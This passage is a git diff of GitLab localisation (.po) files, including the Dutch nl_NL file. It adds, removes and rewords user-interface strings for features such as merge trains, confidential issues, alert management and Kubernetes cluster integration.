-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27529,6 +28340,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27538,6 +28355,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27574,9 +28394,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27610,13 +28427,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27700,10 +28517,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27916,6 +28733,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27991,7 +28811,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28108,6 +28928,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28236,6 +29059,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28538,12 +29364,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28700,6 +29520,11 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr ""
@@ -28745,9 +29570,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28789,6 +29611,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28938,9 +29763,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28953,6 +29784,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29025,9 +29859,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29061,12 +29892,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29148,19 +29973,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29372,6 +30197,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29416,9 +30244,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29536,6 +30361,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29554,6 +30382,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29617,6 +30448,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/nl_NL/gitlab.po b/locale/nl_NL/gitlab.po
index 36d9414ff78..ba62f59ad16 100644
--- a/locale/nl_NL/gitlab.po
+++ b/locale/nl_NL/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: nl\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:47\n"
+"PO-Revision-Date: 2020-09-04 23:09\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -56,13 +56,13 @@ msgstr[1] " verbeterd op %d punten"
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -71,6 +71,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -297,6 +300,9 @@ msgstr[1] "%s andere commits zijn weggelaten om prestatieproblemen te voorkomen.
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr "%{actionText} & %{openOrClose} %{noteable}"
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -333,6 +339,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -389,6 +398,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -416,7 +428,7 @@ msgstr "%{firstLabel} +%{labelCount} meer"
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -503,9 +515,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -524,6 +533,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr "%{loadingIcon} Gestart"
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr "%{lock_path} is vergrendeld door GitLab Gebruiker %{lock_user_id}"
@@ -533,6 +545,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -645,6 +669,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -670,6 +697,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -685,6 +715,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -758,6 +791,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -791,6 +827,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -800,7 +839,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -844,6 +898,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1042,15 +1099,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1114,7 +1162,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1132,6 +1180,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1234,6 +1285,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1345,6 +1399,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr "Actief"
@@ -1377,12 +1434,6 @@ msgstr[1] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1497,6 +1548,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1509,6 +1563,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1521,6 +1578,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1800,6 +1860,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1815,6 +1878,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2042,6 +2108,9 @@ msgstr[1] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2072,7 +2141,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2129,9 +2198,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2144,6 +2210,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2186,16 +2255,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2225,7 +2291,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2324,6 +2390,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2471,6 +2540,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2537,6 +2609,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2609,9 +2684,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2753,13 +2837,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving LDAP override status. Please try again."
+msgstr ""
+
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2786,12 +2873,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2870,6 +2963,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3085,6 +3181,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3097,6 +3196,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3112,9 +3214,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3223,7 +3322,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3235,9 +3334,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3250,6 +3346,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3509,7 +3608,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3587,6 +3686,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3713,7 +3815,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3827,6 +3929,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3896,13 +4001,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4097,6 +4205,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4271,6 +4382,9 @@ msgstr ""
msgid "Cancel"
msgstr "Annuleren"
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4304,10 +4418,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4328,7 +4442,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4514,9 +4628,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4742,7 +4853,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4910,9 +5021,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5018,6 +5135,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5051,19 +5171,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5111,13 +5237,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5135,6 +5264,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5174,15 +5306,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5207,6 +5336,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5390,9 +5522,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5588,7 +5717,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5807,12 +5936,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
